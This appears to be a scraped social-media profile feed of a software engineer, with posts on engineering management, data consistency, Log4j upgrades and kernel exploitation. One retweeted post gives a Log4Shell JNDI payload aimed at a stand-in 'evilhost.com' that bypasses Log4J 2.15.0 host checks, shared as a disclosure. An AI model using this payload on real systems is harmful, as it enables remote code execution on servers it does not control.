Alex Reece

Oooh, I like this list of KPIs for a (part of a) Platform org: #kpis-and-metrics" target="_blank" rel="nofollow noopener">backstage.io/docs/overview/…

Thrilled to share my new blog post: Put an io_uring on it: Exploiting the Linux kernel. Follow me while I learn a new kernel subsystem + its attack surface, find an 0day, build an exploit, + come up with some new tricks. I go deep and demystify the process graplsecurity.com/post/iou-ring-…

Even as remote work has become normal, too many of us persist with a practice that's a by-product of a hasty transition to remote: Back-to-back meetings without a break, sometimes for hours on end. But we can't just make a new RULE--we need a new NORM. edbatista.com/2022/03/take-f…

😀 I am starting a fundraise for @picoctf. PicoCTF is free to everyone, and costs about $500k a year (🙀) to run. If you've had a positive experience with pico, please reply or DM. I'll use it in my fundraise pitch. Pls RT for awareness. #ctf #hacking

"What then is the social responsibility of management for these social problems that become chronic complaints or degenerative diseases? They are management’s problems. ... The health of the community is a prerequisite for successful and growing business." - Peter Drucker, 1974

you need to handle the case where the image does not yet exist in the storage system because you got a stale read. 3/3

Imagine you are writing a system that validates drivers licenses. In the /upload endpoint, you store the image somewhere and enqueue a background request to do the actual validation. When you write the validation logic, you either need a strongly consistent database OR 2/

Why does strong consistency matter? 1/

FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n

I know a service at a former company that hadn't been recompiled/rebuilt in years that probably had to do an emergency upgrade of a bunch of dependencies this weekend. 😢

My #log4j hot take - mitigation is much harder because of the modern trend of vendoring + packaging dependencies (in a static binary or in a container). All the #golang / #Kubernetes / etc shops should take this as a warning to make sure they could do an emergency upgrade.

@GergelyOrosz You already have a bunch of good suggestions, so I'll offer up some of the less popular ones I've enjoyed: • Effective Manager — Tactics for early managers • Pyramid Principle — Writing business docs • Art of Woo — Influencing organizations For more, tinyurl.com/alexsbooks

What are the best books you've read as an engineering manager or software engineer this year? Books that taught you something new related to your job, provided inspiration, ideas.

@rgov @VMwareFusion Neat! I’m very curious what the bottleneck is for the NFS share, would love to see a dtrace flamegraph if it is CPU bound. I wonder if some mount options might be able to improve performance?

Emotions MATTER--but a simplistic interpretation of this idea is "My feelings are justified, because they are my feelings. My feelings at this moment take precedence over all other considerations. I have the right to express my feelings any way I see fit." edbatista.com/2021/02/the-ty…

Issuing a correction / addition.

"Having one’s bias confirmed endlessly by a curated cascade of information reflecting back to you your preferences and opinions, second after second, understandably breeds an illusion of certainty. But certainty is nothing like wisdom." ~@ayadakhtar theatlantic.com/magazine/archi…

#AdventOfCode2021 in awk feels like cheating, somehow. awk 'BEGIN {depth=0; pos=0; aim=0} /forward/ {pos += $2; depth += aim * $2} /down/ {aim += $2} /up/ {aim -= $2} END { print depth * pos }'

When I signed out of my @Apple ID on my Mac, it left me logged in to iMessage. 😳 This feels … dangerous.

@catehstn @lara_hogan "Jimmy probably offers the best advanced material Ive ever come across. After a CS degree and multiple years of reading books and blogs, most advice feels too generic to be useful. Jimmy boils down the practical parts of a PhD into about 6h of class and 30h of independent study"

@catehstn @lara_hogan Yes! "Jimmy's course was really interesting, I feel like I learned a lot! It provides you with the tools to think about improvements to create designs and code in discrete and logical ways."

It's November already, so let's check in: have you used your professional development this year? Managers: have you checked your directs have used their budget? If you've been using yours, I'd love to hear what you used it for! Maybe it will give some other people ideas!